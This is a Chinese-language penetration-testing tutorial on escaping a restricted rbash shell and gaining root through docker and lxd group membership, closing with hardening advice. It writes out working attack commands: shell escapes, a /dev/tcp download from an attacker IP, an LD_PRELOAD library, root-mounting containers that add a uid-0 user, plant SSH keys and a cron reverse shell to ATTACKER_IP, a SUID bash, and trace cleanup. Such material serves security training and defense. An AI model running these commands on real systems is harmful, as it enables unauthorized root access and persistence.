从Rbash绕过到容器提权:Linux权限提升实战解析
1. 项目概述:从受限到掌控的权限跃迁
在Linux安全评估或渗透测试中,我们常常会遇到一种“半自由”的困境:你获得了一个Shell,但发现它被套上了枷锁,比如一个受限的 rbash (Restricted Bash)。与此同时,系统上可能运行着像Docker、LXD这类容器或虚拟化服务,它们本身是为了隔离和安全,但在特定配置下,却可能成为我们突破限制、实现权限提升(提权)的跳板。这个主题“Linux提权五:Rbash绕过&Docker&LXD镜像”探讨的正是这样一套组合拳——如何从一个小小的受限Shell出发,利用系统上已有的容器环境,最终拿到梦寐以求的root权限。这不仅是CTF比赛中的经典场景,也是真实安全评估中需要警惕的攻击路径。无论你是安全研究员、运维工程师还是对系统底层好奇的极客,理解这套流程都能让你更深刻地认识到配置安全的重要性,以及攻击者是如何见缝插针的。
简单来说,这个过程分为两步走: 第一步是“破笼”, 即想方设法摆脱 rbash 的束缚,获得一个功能完整的Shell; 第二步是“借势”, 利用获取到的、可能仍是非特权用户的权限,去操作有缺陷的Docker或LXD环境,最终实现容器逃逸或权限滥用,从而控制宿主机。接下来,我将以一个从业者的视角,拆解其中的每一个技术细节、实操要点和那些容易踩坑的地方。
2. 核心思路与技术选型解析
2.1 为什么是Rbash、Docker和LXD的组合?
这个组合之所以经典,是因为它模拟了一个非常现实的场景:一个系统管理员为了安全,给某个服务账户或普通用户设置了 rbash ,限制其只能执行极少数命令。但同时,为了运维便利,系统上又安装了Docker或LXD,并且配置上可能存在疏漏。攻击者的突破口就在于这两者之间的“安全间隙”。
- Rbash的脆弱性在于其“限制”而非“完全隔离” 。它主要通过修改
$PATH、禁止某些内置命令(如cd)、设置只读变量等方式来限制用户。但它无法阻止用户执行所有二进制文件,特别是如果用户能通过某些方式引入新的可执行文件或调用其他解释器时,限制就可能被绕过。 - Docker/LXD的提权潜力在于“权限映射”和“挂载” 。默认情况下,以非root用户运行Docker需要将该用户加入
docker组。而docker组的成员几乎等同于拥有root权限,因为Docker守护进程以root身份运行。如果容器内的root用户(uid 0)能够挂载宿主机敏感目录(如/、/root)到容器内,就能直接修改宿主机文件,实现提权。LXD同理,lxd组的成员可以创建容器,并可能将宿主机文件系统挂载到容器中。 - 技术路径的必然性 :从
rbash到容器提权,是一个权限链的延伸。rbash绕过是获取一个更有力的“操作基点”,而这个基点恰好可以用来执行docker或lxd命令。如果直接给了一个完整的bash,那第一步就省了;如果系统根本没装容器服务,那第二步也无从谈起。两者结合,构成了一个完整的、递进的提权案例。
2.2 整体攻击链设计
一个清晰的攻击链有助于我们理解每一步的目标和手段:
- 初始访问 :通过SSH弱密码、Web应用RCE等方式,获得一个受限的
rbash会话。 - Rbash绕过 :目标是摆脱限制,获得一个标准的
bash、sh或其他功能完整的Shell。这是后续所有操作的基础。 - 环境侦察 :在新的Shell中,检查当前用户权限(
id)、可用的命令(which docker, which lxc, which lxd)、sudo权限(sudo -l)以及是否在docker或lxd组内。 - 容器服务利用 :
- Docker路径 :如果用户在
docker组,尝试运行一个特权容器,并将宿主机根目录挂载到容器内,然后通过chroot或直接写文件的方式获取宿主机root权限。 - LXD路径 :如果用户在
lxd组,尝试创建一个容器,并将宿主机文件系统挂载到容器内,同样通过修改宿主机文件(如/etc/passwd、/root/.ssh/authorized_keys)或执行计划任务(crontab)来提权。
- Docker路径 :如果用户在
- 权限巩固 :成功获得宿主机root权限后,清理痕迹、建立持久化后门等。
这个链条中, Rbash绕过 和 容器镜像利用 是两个技术核心,下面我们分别深入。
3. Rbash绕过:挣脱束缚的N种方法
当你发现自己被困在 rbash 中,命令补全失效, cd 被禁止, PATH 被设得很短,首先别慌。它的限制不是铁板一块。我们的核心思路是: 调用一个不受限制的Shell程序,或者利用现有命令的功能逃逸 。
3.1 经典环境变量与命令注入
rbash 通常会设置 PATH 到一个安全的目录,比如 /usr/local/rbin:/usr/bin:/bin ,并移除了像 .. 这样的路径。但我们可以尝试“拼凑”出执行其他命令的方法。
-
方法一:利用其他解释器
# 尝试调用python、perl、awk、甚至更简单的sh python -c ‘import os; os.system(“/bin/bash”)’ perl -e ‘exec “/bin/bash”’ awk ‘BEGIN {system(“/bin/bash”)}’ # 如果连这些都没有,试试ed编辑器或more/less !/bin/bash注意 :
rbash可能会禁用-c参数或某些命令。需要逐一尝试。 -
方法二:利用命令替换和变量赋值
rbash中,$()和反引号可能仍然有效。# 通过echo和管道构造命令 echo /bin/bash | $SHELL # 利用ssh(如果允许)本地逃逸 ssh localhost /bin/bash -
方法三:利用文本编辑器或分页器 如果
vi、vim、less、more可用,它们通常有执行系统命令的功能。# 在vim中 :!/bin/bash # 在less/more中,输入!后跟命令 !/bin/bash
3.2 文件描述符与Shell转义技巧
这是更底层的一些方法,利用了Shell和系统调用的特性。
-
方法四:通过/dev/tcp进行文件传输 (如果系统支持) 如果
rbash允许使用/dev/tcp,我们可以从远程服务器下载一个静态编译的bash到可写目录。# 在攻击机(192.168.1.100)上监听 nc -lvp 4444 < /bin/bash # 在目标rbash中 exec 5<>/dev/tcp/192.168.1.100/4444 cat <&5 > /tmp/bash chmod +x /tmp/bash /tmp/bash -
方法五:利用LD_PRELOAD劫持 (需要能执行自定义程序) 如果能上传或编译一个简单的C程序,可以通过
LD_PRELOAD环境变量注入恶意库,在库的初始化函数中调用system(“/bin/bash”)。// evil.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> void _init() { unsetenv(“LD_PRELOAD”); system(“/bin/bash”); }编译:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles,然后LD_PRELOAD=./evil.so 任意已有命令。
3.3 实操心得与避坑指南
- 侦察先行 :进入
rbash后,第一时间运行env、set、echo $PATH、alias,了解限制的具体范围。用ls -la /bin /usr/bin看看哪些命令可用。 - 尝试顺序 :优先尝试
python、perl、awk、ssh、scp、socat这类常见且功能强大的命令。ed编辑器是一个经常被遗忘但可能可用的神器。 - 可写目录是关键 :很多绕过方法需要写入文件(如下载bash、编译so)。找到可写目录至关重要,如
/tmp、/var/tmp,或者当前用户的家目录(如果可写)。用find / -writable -type d 2>/dev/null快速查找。 - 注意命令别名 :
rbash可能将/bin/bash别名化为一个空操作或报错。尝试使用绝对路径/usr/bin/bash,或者使用sh、dash、zsh等其他Shell。 - 终极方法:从其他入口点重新获取Shell :如果
rbash是通过SSH登录的,并且允许SFTP,可以尝试通过SFTP会话执行命令(某些SFTP配置允许)。或者,如果存在任何Web应用漏洞,可以尝试通过那个漏洞直接获得一个非受限的Shell,绕过rbash的限制。
4. Docker组提权:当docker命令等于root
假设我们成功绕过 rbash ,获得了一个标准Shell,并且通过 id 命令发现当前用户属于 docker 组。恭喜,你已经站在了root的大门口。因为Docker守护进程( dockerd )以root身份运行,而 docker 组的成员可以通过Unix socket与守护进程通信,执行几乎所有docker命令。
4.1 核心原理:特权容器与目录挂载
Docker提权的核心在于 创建一个能够访问宿主机文件系统的容器 。有两种主要方式:
- 运行特权容器(--privileged) :使用
--privileged标志启动的容器,几乎拥有宿主机的所有能力,可以轻松挂载宿主机磁盘。 - 挂载宿主机目录(-v /:/host) :即使不是特权容器,只要将宿主机敏感目录(尤其是根目录
/)以读写方式挂载到容器内,我们就能在容器内修改宿主机的文件。
4.2 分步实操实现
步骤1:确认权限与环境
# 确认在docker组
id
# 输出应包含 `groups=…,docker,…`
# 查看可用的docker镜像
docker images
# 如果为空,需要从仓库拉取一个轻量级镜像,如alpine
docker pull alpine
步骤2:启动一个挂载宿主机根目录的容器 这是最直接有效的方法。
# 方法A:使用alpine镜像,将宿主机/挂载到容器的/host
docker run -it -v /:/host alpine /bin/sh
执行后,你将进入容器的Shell。现在,容器的 /host 目录就是宿主机的根目录。
步骤3:在容器内获取宿主机root权限 现在,你可以在容器内以root身份(容器内的root,uid 0)操作宿主机文件了。
# 进入挂载的宿主机目录
cd /host
# 方法1:直接修改宿主机/etc/passwd,添加一个uid为0的用户
# 首先备份原文件(可选)
cp etc/passwd etc/passwd.bak
# 生成一个密码哈希(这里用openssl,假设密码是“evil”)
openssl passwd -1 -salt abc evil
# 输出类似 $1$abc$TkWo8PkHvA6G4p8a6W6BV.
# 将以下行添加到/etc/passwd
echo ‘evil:$1$abc$TkWo8PkHvA6G4p8a6W6BV.:0:0:root:/root:/bin/bash’ >> etc/passwd
# 现在可以用用户名evil,密码evil SSH登录到宿主机,直接就是root。
# 方法2:写入SSH公钥到root的authorized_keys
mkdir -p root/.ssh
echo ‘ssh-rsa AAAAB3NzaC1yc2E…(你的公钥)’ > root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
# 然后从你的攻击机SSH连接即可。
# 方法3:写入计划任务
# 在宿主机上创建一个每分钟执行一次的反向Shell
echo ‘* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’ > etc/cron.d/evil
# 记得替换ATTACKER_IP,并确保宿主机cron服务在运行。
步骤4:退出并清理(可选) 完成操作后,退出容器。你可以选择删除容器以清理痕迹,但注意,对宿主机文件的修改是永久的。
exit
# 列出刚才的容器,获取CONTAINER ID
docker ps -a
# 删除容器
docker rm <CONTAINER_ID>
4.3 利用的变种与高级技巧
- 使用--privileged标志 :
docker run -it --privileged alpine /bin/sh。在特权容器中,你可以直接使用fdisk -l查看宿主机磁盘,然后mount /dev/sda1 /mnt挂载,效果等同于-v /:/host,但更底层。 - 利用Docker Socket挂载 :如果
/var/run/docker.sock被挂载到容器内,你可以在容器内直接与宿主机Docker守护进程通信,相当于在容器内获得了docker组权限,可以嵌套创建新容器来逃逸。命令类似:docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh,然后在容器内安装docker客户端,操作宿主机docker。 - 使用现有镜像中的危险能力 :有些镜像本身就有
CAP_SYS_ADMIN等能力,或者安装了ssh、nmap等工具,可以更方便地进行内部侦察和横向移动。
4.4 注意事项与防御
- 操作前务必确认 :
docker run命令会真正启动一个容器。在真实环境中,要考虑到容器运行可能产生的日志、网络连接等痕迹。 - 镜像选择 :
alpine镜像体积小,攻击面小,是理想选择。避免使用不熟悉的镜像,防止镜像本身有恶意代码。 - 防御措施 :
- 原则 :不要将非受信任用户加入
docker组。docker组权限等同于root。 - 使用Rootless Docker :以非root用户运行Docker守护进程,从根本上降低风险。
- 使用用户命名空间映射 :启用Docker的用户命名空间重映射功能,让容器内的root映射到宿主机的高位UID,防止权限溢出。
- 加强审计 :监控
docker run命令,特别是带有--privileged、-v /:/等危险参数的执行。
- 原则 :不要将非受信任用户加入
5. LXD组提权:容器管理的权限陷阱
LXD是LXC容器的一个更友好的管理工具。与Docker类似,将用户加入 lxd 组,也赋予了该用户极大的权限,因为LXD守护进程同样以root运行。
5.1 核心原理:镜像构建与文件系统挂载
LXD提权的经典方法是: 利用 lxd 组权限,创建一个容器,并在初始化时将宿主机的文件系统(如根目录)挂载到容器内的某个路径上。 由于创建和配置容器是由 lxd 守护进程以root身份完成的,这个挂载操作会成功。之后,我们在容器内就能以root身份读写宿主机文件了。
5.2 分步实操实现
前置条件 :当前用户已在 lxd 组。通过 id 命令确认。
步骤1:初始化LXD(如果尚未初始化) 通常, lxd 需要初始化。如果之前没有初始化过,你需要运行 lxd init 并接受默认配置。但在非交互式Shell或受限环境下,这可能会出问题。我们可以采用非交互式方式或使用 preseed 文件。
# 生成一个preseed配置文件
cat > /tmp/preseed.yaml << EOF
config:
images.auto_update_interval: “0”
networks: []
storage_pools:
- name: default
driver: dir
profiles:
- name: default
devices:
root:
path: /
pool: default
type: disk
EOF
# 非交互式初始化
cat /tmp/preseed.yaml | lxd init --preseed
如果系统已初始化,可跳过此步。
步骤2:下载或构建一个镜像 我们需要一个容器镜像。最方便的是从远程拉取一个最小的镜像,比如Alpine。
# 查看远程镜像列表
lxc image list images:
# 拉取alpine镜像
lxc image copy images:alpine/edge local: --alias=alpine --public
如果网络不通,或者 images: 仓库不可用,事情会变得棘手。你可能需要手动从 https://images.linuxcontainers.org 下载镜像文件(rootfs.tar.xz),然后导入:
wget https://images.linuxcontainers.org/.../rootfs.tar.xz -O /tmp/alpine.tar.xz
lxc image import /tmp/alpine.tar.xz --alias alpine
步骤3:创建容器并挂载宿主机目录 这是最关键的一步。我们创建一个容器,并将宿主机的根目录 / 挂载到容器内的 /mnt/root (或其他路径)。
# 创建一个名为“evil”的容器,使用alpine镜像
lxc init alpine evil
# 将宿主机的根目录挂载到容器的/mnt/root
lxc config device add evil host-root disk source=/ path=/mnt/root
lxc config device add 命令是精髓:它给容器 evil 添加了一个名为 host-root 的设备,类型是 disk ,源( source )是宿主机的 / ,目标( path )是容器内的 /mnt/root 。
步骤4:启动容器并执行命令
# 启动容器
lxc start evil
# 在容器内执行命令,这里我们启动一个shell
lxc exec evil /bin/sh
现在,你进入了容器的Shell。你会发现 /mnt/root 就是宿主机的文件系统。
步骤5:在容器内修改宿主机文件 与Docker部分类似,你现在可以在容器内修改 /mnt/root 下的文件了。
# 进入挂载点
cd /mnt/root
# 添加SUID Shell或修改passwd等,操作同Docker部分示例
# 例如,复制一个bash并设置SUID
cp bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# 在宿主机上,任何用户执行/tmp/rootbash都会获得root权限。
步骤6:清理痕迹(可选)
# 退出容器shell
exit
# 停止并删除容器
lxc stop evil
lxc delete evil
# 删除镜像
lxc image delete alpine
5.3 常见问题与排查
-
lxd init卡住或失败 :在非交互式环境或网络受限环境下很常见。使用--preseed参数配合YAML配置文件是最可靠的方法。确保配置文件语法正确。 - 镜像拉取失败 :检查网络,或尝试其他镜像源(如
ubuntu:、centos:)。如果完全离线,手动下载导入是唯一途径,但这需要你能将镜像文件上传到目标机器。 - “Permission denied” when mounting :确保命令是由
lxd组成员执行的。有时lxd套接字文件(/var/snap/lxd/common/lxd/unix.socket或/var/lib/lxd/unix.socket)的权限可能有问题,但这种情况较少。 - 容器启动失败 :检查
lxc info和lxc list。查看日志lxc info evil --show-log。可能是存储池问题或镜像损坏。
5.4 LXD与Docker利用的异同
- 相似点 :核心思路都是通过挂载宿主机文件系统,在容器内以root身份修改宿主机文件。
- 不同点 :
- 命令接口 :Docker使用
docker命令,LXD使用lxc和lxd命令。 - 资源占用 :LXD容器通常更接近一个完整的轻量级虚拟机,启动可能比Docker容器稍慢。
- 配置方式 :LXD的存储池、网络、配置文件等概念更显式,
lxc config命令非常强大。 - 普及度 :在渗透测试中,遇到Docker的环境远多于LXD。但LXD在云主机和特定Linux发行版中也有使用。
- 命令接口 :Docker使用
6. 防御与加固建议
了解了攻击手法,防御就更有针对性。以下是从系统管理员角度给出的加固建议:
-
最小权限原则 :
- 切勿随意将用户加入
docker或lxd组 。这是最重要的原则。如果需要非root用户使用容器,考虑更安全的替代方案,如Podman(rootless模式)或使用sudo精细控制。 - 使用sudo替代直接加组 :通过sudoers文件,只允许特定用户运行特定的、无害的docker命令(如
docker ps,docker stats),而禁止docker run、docker exec等危险命令。例如:username ALL=(ALL) NOPASSWD: /usr/bin/docker ps, /usr/bin/docker images。
- 切勿随意将用户加入
-
启用用户命名空间(User Namespace) :
- 对于Docker :在
/etc/docker/daemon.json中配置{“userns-remap”: “default”},并重启Docker。这会使容器内的root映射到宿主机的一个非特权用户。 - 对于LXD :在初始化时或通过配置启用安全嵌套和用户命名空间。
- 对于Docker :在
-
使用无根(Rootless)模式 :
- Docker Rootless :从Docker v19.03开始支持。以普通用户身份运行完整的Docker守护进程和容器,彻底消除
docker组提权风险。安装docker-ce-rootless-extras包并按照官方文档配置。 - Podman :Red Hat推出的Daemonless容器引擎,默认以rootless方式运行,是Docker的安全替代品。
- Docker Rootless :从Docker v19.03开始支持。以普通用户身份运行完整的Docker守护进程和容器,彻底消除
-
加强审计与监控 :
- 使用
auditd或系统日志监控所有docker run和lxc命令的执行,特别是关注--privileged、-v /:/、source=/等危险参数。 - 定期检查
/etc/group,确认docker和lxd组中的成员是否都是必要的。
- 使用
-
镜像与运行时安全 :
- 只从受信任的仓库拉取镜像,并定期扫描镜像漏洞。
- 在运行容器时,遵循最小权限原则:不使用
--privileged,通过--cap-drop=ALL和--cap-add精细控制能力,使用--read-only挂载根文件系统,使用--security-opt等参数。
-
网络与资源限制 :
- 为容器配置适当的网络策略(如none、bridge),避免容器获得过大的网络访问权限。
- 使用cgroups限制容器的CPU、内存等资源,防止资源滥用。
这套从Rbash绕到容器提权的流程,清晰地展示了一个安全链条是如何因为几处配置疏忽而被彻底攻破的。对于防御方,它强调了纵深防御和最小权限的极端重要性;对于攻击方或安全测试者,它提供了一套在受限环境下逐步扩大战果的标准方法论。在实际操作中,环境千变万化,可能会遇到镜像拉不下、命令被过滤、审计规则拦截等各种问题,这就需要你灵活运用侦察技巧和对系统原理的深入理解来随机应变了。记住,核心思路永远是: 理解权限边界,寻找权限映射的瑕疵,利用合法的功能实现非法的目的。 多动手搭建实验环境进行复现,是掌握这些技巧的最佳途径。
更多推荐
所有评论(0)